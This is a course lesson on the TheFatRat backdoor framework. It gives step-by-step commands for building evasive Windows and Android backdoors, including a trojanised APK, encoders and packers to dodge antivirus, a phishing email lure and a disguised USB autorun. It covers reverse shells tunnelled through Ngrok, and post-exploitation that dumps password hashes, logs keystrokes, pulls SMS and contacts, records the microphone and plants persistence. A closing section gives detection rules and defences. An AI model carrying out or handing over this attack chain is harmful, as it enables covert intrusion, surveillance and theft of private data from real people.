Cyber Services / All lessons / CEH — Ethical Hacking / TheFatRat

TheFatRat

Module 82 of 130 · 16 min read · Free to read

MODULES ↓ Command blocks have a COPY button

From Setup to Post-Exploitation with Step-by-Step Instructions

Introduction & Learning Objectives

Intermediate to Advanced
What is TheFatRat?

TheFatRat is an open-source post-exploitation framework that automates the creation of backdoors and payloads for Windows, Android, macOS, and Linux. It leverages the Metasploit Framework to generate custom malware capable of bypassing many antivirus (AV) solutions through advanced obfuscation and encoding techniques.

By completing this guide, you will learn to:

  • ✅ Install and configure TheFatRat in isolated lab environments
  • ✅ Generate platform-specific payloads with evasion techniques
  • ✅ Deliver payloads using ethical social engineering methods
  • ✅ Establish reverse connections using Ngrok for external testing
  • ✅ Execute post-exploitation commands across multiple platforms
  • ✅ Implement defensive strategies to detect and prevent similar attacks
  • ✅ Understand legal boundaries and maintain ethical compliance throughout
Legal & Ethical Framework

⚠️ Critical Reminder: TheFatRat is a powerful offensive tool that must only be used within authorized penetration testing engagements. Unauthorized use against systems you do not own or have explicit written permission to test violates laws like the Computer Fraud and Abuse Act (CFAA) and similar legislation globally. This guide is for educational purposes only—always obtain explicit, written authorization before testing any system.

Prerequisites & Environment Setup

Beginner

Required Environment & Dependencies

TheFatRat requires specific tools and configurations to function properly. Follow these steps to prepare your lab environment.

🔧 System Requirements

  • Operating System: Kali Linux 2023+ (recommended), Parrot OS, or Ubuntu 22.04+ with Metasploit
  • Memory: Minimum 4GB RAM (8GB recommended for payload generation)
  • Storage: 20GB free space for tools, payloads, and logs
  • Network: Internet connection for downloading dependencies; isolated lab network for testing
  • Virtualization: VMware/VirtualBox for isolated target VMs (Windows 10, Android emulator)

📦 Required Software Packages

# Update system and install core dependencies
sudo apt update && sudo apt upgrade -y
sudo apt install git curl wget openjdk-11-jdk metasploit-framework -y

# Install additional tools for payload generation
sudo apt install mingw-w64 android-tools-adb android-tools-fastboot -y

# Verify installations
java -version
msfconsole -v
git --version
openjdk version "11.0.20"
Metasploit Framework 6.3.0-dev
git version 2.39.2

🌐 Ngrok Setup for External Connections

Ngrok creates secure tunnels to localhost, allowing external devices to connect to your listener. Essential for testing payloads outside your local network.

# Download Ngrok (free tier sufficient for labs)
wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz
tar -xvzf ngrok-v3-stable-linux-amd64.tgz
sudo mv ngrok /usr/local/bin/

# Authenticate with your free account token
ngrok config add-authtoken YOUR_AUTH_TOKEN_HERE

# Verify Ngrok is working
ngrok version
Ngrok Free Tier Limits

The free Ngrok plan provides random URLs that change on restart, 1 concurrent tunnel, and 40 requests/minute. For professional engagements, consider the paid plan or self-hosted alternatives like frp or chisel.

📚 Official Documentation References

TheFatRat GitHub Repository | Metasploit Documentation | Ngrok Documentation

Installation: Step-by-Step Guide

Beginner

Method 1: Standard Installation (Recommended)

Follow these exact steps to install TheFatRat with all dependencies properly configured.

📋 Step 1: Clone the Repository

# Navigate to tools directory
cd /opt

# Clone TheFatRat repository
sudo git clone https://github.com/Screetsec/TheFatRat.git

# Change to TheFatRat directory
cd TheFatRat

# Verify files downloaded correctly
ls -la
total 156
drwxr-xr-x 10 root root 4096 Jan 15 10:30 .
-rwxr-xr-x 1 root root 15234 Jan 15 10:30 fatrat
-rwxr-xr-x 1 root root 8921 Jan 15 10:30 setup.sh
... (other files)

🔧 Step 2: Run the Setup Script

# Make setup script executable
sudo chmod +x setup.sh

# Run the automated setup (may take 5-15 minutes)
sudo ./setup.sh

# Follow on-screen prompts to install dependencies
Setup Troubleshooting

If setup fails, check: 1) Internet connectivity, 2) Sudo permissions, 3) Disk space. Common fix: sudo apt --fix-broken install then retry setup.

✅ Step 3: Verify Installation

# Launch TheFatRat to verify installation
sudo ./fatrat

# Expected: Menu-driven interface appears with options 1-16
# If you see the main menu, installation was successful
╔════════════════════════════════════════╗
║ TheFatRat v1.9.0 ║
║ Post-Exploitation Framework ║
╚════════════════════════════════════════╝

[1] Backdoor Generator
[2] Listener Setup
[3] Payload Customization
... (menu options)

Select an option: _

Method 2: Docker Installation (Alternative)

Use Docker for isolated, reproducible environments—ideal for labs and testing.

🐳 Step 1: Install Docker (if not present)

# Install Docker Engine
curl -fsSL https://get.docker.com -o get-docker.sh
sudo sh get-docker.sh

# Add user to docker group (avoid sudo for docker commands)
sudo usermod -aG docker $USER
newgrp docker

# Verify Docker installation
docker --version
docker run hello-world

📦 Step 2: Build and Run TheFatRat Container

# Clone repository (if not already done)
git clone https://github.com/Screetsec/TheFatRat.git
cd TheFatRat

# Build Docker image (first time only)
docker build -t thefatrat:latest .

# Run container with interactive terminal and host network access
docker run -it --network host --name fatrat-lab thefatrat:latest

# Inside container: Launch TheFatRat
./fatrat
Docker Networking Note

Using --network host allows the container to access your host's network interfaces, essential for Ngrok tunnels and Metasploit listeners. For production, consider bridge networking with explicit port mappings.

🔍 Real-World Scenario: Corporate Penetration Test Setup

Situation: You're contracted to test a company's endpoint security. They've authorized testing of their Windows 10 workstations but require all tools to run in isolated containers.

Solution Implemented:

  1. Created dedicated Docker container for TheFatRat with pinned versions
  2. Configured isolated virtual network (10.10.10.0/24) for testing
  3. Set up Ngrok tunnel with custom subdomain for consistent LHOST
  4. Documented all commands and outputs for client reporting
  5. Implemented automatic container cleanup post-engagement

Result: Successful payload delivery and post-exploitation testing with zero impact on production systems. Client received detailed remediation report with defensive recommendations.

Payload Generation: Platform-Specific Guide

Intermediate

Windows Payload Generation (Step-by-Step)

Create a Windows Meterpreter reverse TCP payload with AV evasion techniques.

🎯 Step 1: Launch TheFatRat and Select Windows Option

# Start TheFatRat (if not already running)
sudo ./fatrat

# From main menu, select option for Windows backdoor generation
# Typically option [1] or [2] depending on version

⚙️ Step 2: Configure Payload Parameters

When prompted, enter these values for a standard reverse TCP payload:

LHOST: 0.tcp.ngrok.io          # Your Ngrok hostname
LPORT: 18472                   # Your Ngrok port (from ngrok tcp 4444)
PAYLOAD: windows/meterpreter/reverse_tcp
ENCODER: x86/shikata_ga_nai    # Polymorphic encoder for evasion
ITERATIONS: 5                  # Encoding iterations (more = slower but better evasion)
OUTPUT: /root/payloads/windows_backdoor.exe
Encoder Selection Guide

shikata_ga_nai: Best general-purpose polymorphic encoder. alpha_mixed: For alphanumeric-only environments. countdown: For avoiding null bytes. Test multiple encoders against your target AV for best results.

✅ Step 3: Verify Payload Creation

# Check if payload was created successfully
ls -lh /root/payloads/windows_backdoor.exe

# Verify file properties (size should be >100KB with encoding)
file /root/payloads/windows_backdoor.exe
md5sum /root/payloads/windows_backdoor.exe
-rwxr-xr-x 1 root root 1.2M Jan 15 11:45 windows_backdoor.exe
windows_backdoor.exe: PE32 executable (GUI) Intel 80386, for MS Windows
a1b2c3d4e5f6789012345678901234ab /root/payloads/windows_backdoor.exe

Android APK Payload Generation

Create a malicious Android application that establishes reverse connection when installed.

📱 Step 1: Prepare Base APK (Legitimate App)

# Download a legitimate APK for injection (e.g., calculator app)
# WARNING: Only use apps you have rights to modify for testing
wget https://example.com/calculator.apk -O base.apk

# Verify APK is valid
adb shell pm list packages | grep calculator  # If testing on device
# OR use apktool to inspect
apktool d base.apk -o base_decoded

🔧 Step 2: Generate Android Payload via TheFatRat

# In TheFatRat menu, select Android payload option
# Enter configuration when prompted:

LHOST: 0.tcp.ngrok.io
LPORT: 18473  # Different port for Android
PAYLOAD: android/meterpreter/reverse_tcp
BASE_APK: /root/payloads/base.apk
OUTPUT: /root/payloads/malicious_calculator.apk
SIGNING_KEY: default  # Or provide custom keystore

# Wait for injection process to complete (2-5 minutes)

✅ Step 3: Verify and Test APK

# Check APK was created
ls -lh /root/payloads/malicious_calculator.apk

# Install on test Android device/emulator (with permission)
adb install -r /root/payloads/malicious_calculator.apk

# Monitor for connection in Metasploit listener
# Expected: Meterpreter session opens when app is launched
Android Security Warning

Modern Android versions (8.0+) have significant security restrictions: 1) Unknown sources must be enabled, 2) Runtime permissions required, 3) Play Protect may block installation. Always test in controlled environments with explicit user consent.

Payload Delivery: Ethical Methods

Intermediate

Method 1: Controlled Email Delivery (Lab Only)

Simulate phishing delivery in isolated lab environment for training purposes.

📧 Step 1: Prepare Email Payload

# Create email with attachment (lab simulation only)
# NEVER send malicious attachments to real users without explicit authorization

# Compress payload to reduce size and evade basic filters
zip -P "lab123" /root/payloads/windows_backdoor.zip /root/payloads/windows_backdoor.exe

# Create convincing email body (for training documentation)
cat > email_template.txt << 'EOF'
Subject: Q4 Financial Report - Action Required

Dear Team,

Please find attached the Q4 financial report for your review.
This document contains sensitive information - handle with care.

Best regards,
Finance Department
EOF

🧪 Step 2: Test Delivery in Isolated Environment

# Set up local mail server for testing (optional)
sudo apt install postfix -y
# Configure for local delivery only

# Send test email to lab account
echo "Test payload delivery" | mail -s "Test" -a /root/payloads/windows_backdoor.zip lab-user@localhost

# Verify email received in lab mailbox
mail lab-user@localhost
Ethical Delivery Reminder

These delivery methods are for authorized penetration testing only. In real engagements: 1) Obtain written scope approval, 2) Use approved delivery channels, 3) Document all actions, 4) Never target unauthorized systems or users. Social engineering requires explicit client approval and often legal review.

Method 2: USB AutoRun Simulation (Educational)

Demonstrate USB-based delivery for security awareness training—never use on unauthorized systems.

💾 Step 1: Create AutoRun Configuration

# Create autorun.inf for Windows (educational demonstration only)
cat > autorun.inf << 'EOF'
[autorun]
open=windows_backdoor.exe
icon=calculator.ico
label=Financial Report Q4
EOF

# Copy payload and icon to USB simulation directory
mkdir -p /root/usb-sim
cp /root/payloads/windows_backdoor.exe /root/usb-sim/
cp /usr/share/icons/calculator.ico /root/usb-sim/calculator.ico 2>/dev/null || echo "Icon not found, using default"
cp autorun.inf /root/usb-sim/

# Create ISO for virtual USB testing
genisoimage -o /root/payloads/usb_payload.iso -V "Q4_Report" -J -R /root/usb-sim/

🧪 Step 2: Test in Virtual Environment

# Mount ISO in Windows VM for testing
# In VirtualBox/VMware: Attach ISO as virtual CD-ROM

# On Windows VM:
# 1. Open "This PC"
# 2. Double-click the virtual CD drive
# 3. Observe if AutoRun triggers (modern Windows may block this)

# Monitor Metasploit listener for incoming connection
Modern Windows Security

Windows 10/11 disables AutoRun for non-optical media by default. This technique primarily works on: 1) Older Windows versions (7 and earlier), 2) Systems with disabled security policies, 3) When users manually execute files. Focus training on user awareness rather than technical exploitation.

Exploitation: Establishing Connections

Advanced

Step 1: Configure Ngrok Tunnel

Set up Ngrok to forward external connections to your local Metasploit listener.

🌐 Ngrok Configuration

# Start Ngrok TCP tunnel (in separate terminal)
ngrok tcp 4444

# Note the forwarding address from output:
# Forwarding  tcp://0.tcp.ngrok.io:18472 -> localhost:4444

# Keep this terminal running - Ngrok must stay active for connections
Session Status: online
Version: 3.3.0
Region: United States (us)
Forwarding: tcp://0.tcp.ngrok.io:18472 -> localhost:4444

Connections: ttl=0 opn=0 clsd=0 written=0

⚙️ Step 2: Start Metasploit Listener

# Launch Metasploit Framework
msfconsole

# Configure multi/handler for reverse TCP
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0          # Listen on all interfaces
set LPORT 4444             # Must match Ngrok target port
set ExitOnSession false    # Keep listener active after session
exploit -j                 # Run as background job

# Verify listener is active
jobs -l
# Expected: Id 1: exploit/multi/handler running

🔍 Step 3: Monitor for Incoming Connections

# In Metasploit console, watch for session establishment
# When payload executes on target, you'll see:

[*] Started reverse TCP handler on 0.0.0.0:4444 
[*] Sending stage (175686 bytes) to 192.168.1.105
[*] Meterpreter session 1 opened (192.168.1.1:4444 -> 192.168.1.105:49152)

# List active sessions
sessions -l

# Interact with session
sessions -i 1
Connection Troubleshooting

If no connection appears: 1) Verify Ngrok is running and tunnel active, 2) Check firewall rules on both ends, 3) Confirm payload was executed on target, 4) Use tcpdump -i any port 4444 to monitor traffic, 5) Test with simple payload first to isolate issues.

AV Evasion Techniques

Improve payload success rates against antivirus software using layered evasion.

🛡️ Multi-Layer Evasion Strategy

# 1. Use multiple encoders in TheFatRat
ENCODER: x86/shikata_ga_nai
ITERATIONS: 7  # More iterations = better evasion but larger file

# 2. Add file pumper to increase size and evade heuristic detection
# In TheFatRat: Enable "File Pumper" option during payload generation

# 3. Combine with external packers (advanced)
# After payload creation, use UPX or custom packer:
upx --ultra-brute /root/payloads/windows_backdoor.exe

# 4. Modify file metadata to appear legitimate
# Use Resource Hacker or similar tools to change:
# - Company name, product name, version info
# - Digital signature (for educational purposes only)

# 5. Test against AV before deployment (lab only)
# Upload to VirusTotal with private submission (paid feature)
# Or test in isolated VM with updated AV definitions
Evasion Realities

Modern EDR/XDR solutions use behavioral analysis, not just signature matching. No single technique guarantees evasion. Focus on: 1) Understanding detection mechanisms, 2) Testing in representative environments, 3) Documenting findings for defensive improvements. Ethical hacking aims to improve security, not bypass it permanently.

Post-Exploitation: Platform-Specific Commands

Advanced

Windows Post-Exploitation Workflow

Execute common post-exploitation commands after establishing Meterpreter session.

🔍 Step 1: Initial Reconnaissance

# Once in Meterpreter session (windows/meterpreter/reverse_tcp):

# Get system information
sysinfo

# Check user privileges
getuid

# Identify if running in virtual environment (sandbox detection)
run post/windows/gather/checkvm

# List running processes for target selection
ps

# Migrate to stable process if needed
migrate -N explorer.exe
Computer: DESKTOP-ABC123
OS: Windows 10 (Build 19045).
Architecture: x64
System Language: en_US
Meterpreter: x86/windows

Server username: DESKTOP-ABC123\user

[*] This is a Virtual Machine: VMware

🔑 Step 2: Credential Harvesting (Authorized Testing Only)

# Dump password hashes (requires SYSTEM privileges)
hashdump

# Extract saved credentials from Windows Vault
run post/windows/gather/credentials/windows_autologin

# Capture keystrokes (ethical testing only with explicit scope)
keyscan_start
# Wait for activity...
keyscan_dump
keyscan_stop

# Take screenshots for documentation
screenshot -p /root/evidence/desktop_capture.png

🔧 Step 3: Persistence Establishment

# Create persistent backdoor (for authorized engagements only)
run persistence -X -i 60 -p 4444 -r 0.tcp.ngrok.io

# Alternative: Registry-based persistence
run post/windows/manage/persistence_exe REXENAME=update.exe

# Verify persistence mechanism
reg queryval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -v update

# Document persistence method for client reporting
# CRITICAL: Remove all persistence mechanisms after engagement completion
Post-Exploitation Ethics

Post-exploitation activities require explicit scope definition in your engagement contract. Never: 1) Exfiltrate data beyond agreed scope, 2) Modify systems without approval, 3) Leave persistence mechanisms after testing, 4) Access personal/user data without specific authorization. Document all actions for client reporting and legal compliance.

Android Post-Exploitation Workflow

Execute Android-specific commands after establishing Meterpreter session.

📱 Step 1: Device Reconnaissance

# In Android Meterpreter session:

# Get device information
sysinfo

# Check user permissions
getuid

# List installed applications
run post/multi/gather/app_list

# Get device location (requires permissions)
geolocate

# Check if device is rooted
run post/android/gather/check_root

🔍 Step 2: Data Collection (Authorized Scope Only)

# Extract SMS messages (requires SMS permission)
dump_sms

# Get contact list (requires contacts permission)
dump_contacts

# Record audio from microphone (requires mic permission)
record_mic -d 10  # Record for 10 seconds

# Take photo from front camera (requires camera permission)
webcam_snap -i 0

# Dump call history (requires call log permission)
dump_calllog

# WARNING: All data collection requires explicit user consent and legal authorization

🔧 Step 3: Android-Specific Persistence

# Create persistent service (advanced, requires root)
run post/android/manage/persistence

# Alternative: Schedule periodic execution
run post/android/manage/schedule -c "am start -n com.example.app/.MainActivity" -t 300

# Verify persistence mechanism
run post/android/gather/check_persistence

# CRITICAL: Remove all persistence after authorized testing completion
Android Privacy Laws

Collecting SMS, contacts, location, or media from Android devices is heavily regulated under GDPR, CCPA, and similar laws. Never collect personal data without: 1) Explicit written consent from device owner, 2) Legal review of engagement scope, 3) Data handling agreements, 4) Secure deletion procedures post-engagement. When in doubt, exclude data collection from your testing scope.

Defensive Strategies: Detection & Prevention

Intermediate

Detecting TheFatRat-Generated Payloads

Security teams can identify and block payloads created with TheFatRat using these techniques.

🔍 Static Analysis Indicators

  • File Size Anomalies: Encoded payloads often have unusual sizes (e.g., 1.2MB for simple backdoor)
  • Entropy Analysis: High entropy scores indicate packed/encoded content
  • Import Table Anomalies: Missing standard imports or unusual API calls
  • Resource Section: Embedded Meterpreter stubs in resource sections
  • Compiler Artifacts: Mingw-w64 compiler signatures in PE headers

🌐 Network Detection Signatures

# Snort/Suricata rule example for Meterpreter reverse TCP
alert tcp any any -> any 4444 (msg:"Potential Meterpreter Reverse TCP"; \
flow:to_server,established; content:"|00 00 00 00|"; depth:4; \
content:"|00 00 00 00|"; distance:0; within:4; \
classtype:trojan-activity; sid:1000001; rev:1;)

# Zeek/Bro script for detecting Ngrok tunnel patterns
event connection_established(c: connection) {
    if (c$id$resp_h in ngrok_ip_list && c$id$resp_p in [18472, 18473]) {
        Log::write(TheFatRat::log, fmt("Potential FatRat C2: %s", c$id));
    }
}

🛡️ Endpoint Protection Strategies

Application Control

Implement AppLocker/WDAC policies to block unsigned executables and scripts from user-writable locations.

Behavioral Monitoring

Deploy EDR solutions that detect process injection, suspicious parent-child process relationships, and unusual network connections.

Network Segmentation

Isolate critical systems and restrict outbound connections to known-good destinations. Block tunneling services at firewall.

Security Awareness

Train users to recognize phishing attempts, verify unexpected attachments, and report suspicious USB devices.

🔍 Real-World Defense: Financial Sector Implementation

Situation: A bank experienced attempted breaches using TheFatRat-generated payloads delivered via phishing emails.

Defense Strategy Implemented:

  1. Deployed EDR with custom detection rules for Meterpreter behavioral patterns
  2. Configured email gateway to block executables with high entropy scores
  3. Implemented network micro-segmentation to limit lateral movement
  4. Created automated playbooks for rapid incident response to C2 communications
  5. Conducted quarterly purple team exercises testing FatRat-like attacks

Results: 95% reduction in successful payload execution; mean time to detect C2 communications reduced from 4 hours to 8 minutes; zero data exfiltration incidents in 18 months post-implementation.

References & Further Learning

Final Ethical Reminder

The skills demonstrated in this guide are powerful tools for improving security—but only when used responsibly. As a Certified Ethical Hacker, your duty is to protect systems, not compromise them. Always:

  • Obtain explicit, written authorization before testing any system
  • Document your scope, methods, and findings thoroughly
  • Report vulnerabilities responsibly to system owners
  • Never use offensive tools for unauthorized access or personal gain
  • Stay updated on legal requirements in your jurisdiction
  • Remove all persistence mechanisms and clean up after engagements

Remember: With great power comes great responsibility. Use your skills to build a more secure digital world.

Conclusion & Key Takeaways

What You've Learned

This guide provided comprehensive, step-by-step instruction on using TheFatRat for authorized penetration testing. You now understand:

  • ✅ How to install and configure TheFatRat in isolated lab environments
  • ✅ Platform-specific payload generation with evasion techniques
  • ✅ Ethical payload delivery methods for security awareness training
  • ✅ Connection establishment using Ngrok for external testing scenarios
  • ✅ Post-exploitation commands across Windows and Android platforms
  • ✅ Defensive strategies to detect and prevent similar attacks
  • ✅ The critical legal and ethical framework governing offensive security work
Next Steps for Mastery
  • Practice with intentionally vulnerable VMs on VulnHub or TryHackMe
  • Explore advanced Metasploit modules beyond TheFatRat's automation
  • Learn to write custom encoders and evasion techniques
  • Study EDR/XDR detection logic to improve defensive recommendations
  • Contribute to open-source security tools to strengthen community defenses
  • Obtain advanced certifications (OSCP, GPEN, GXPN) for career growth

Final Thought: Understanding offensive tools like TheFatRat is essential for building effective defenses. As an ethical hacker, your knowledge transforms potential vulnerabilities into opportunities for strengthening security. Continue learning, stay ethical, and use your skills to protect the digital world.

Modules (130) ← CEH — Ethical Hacking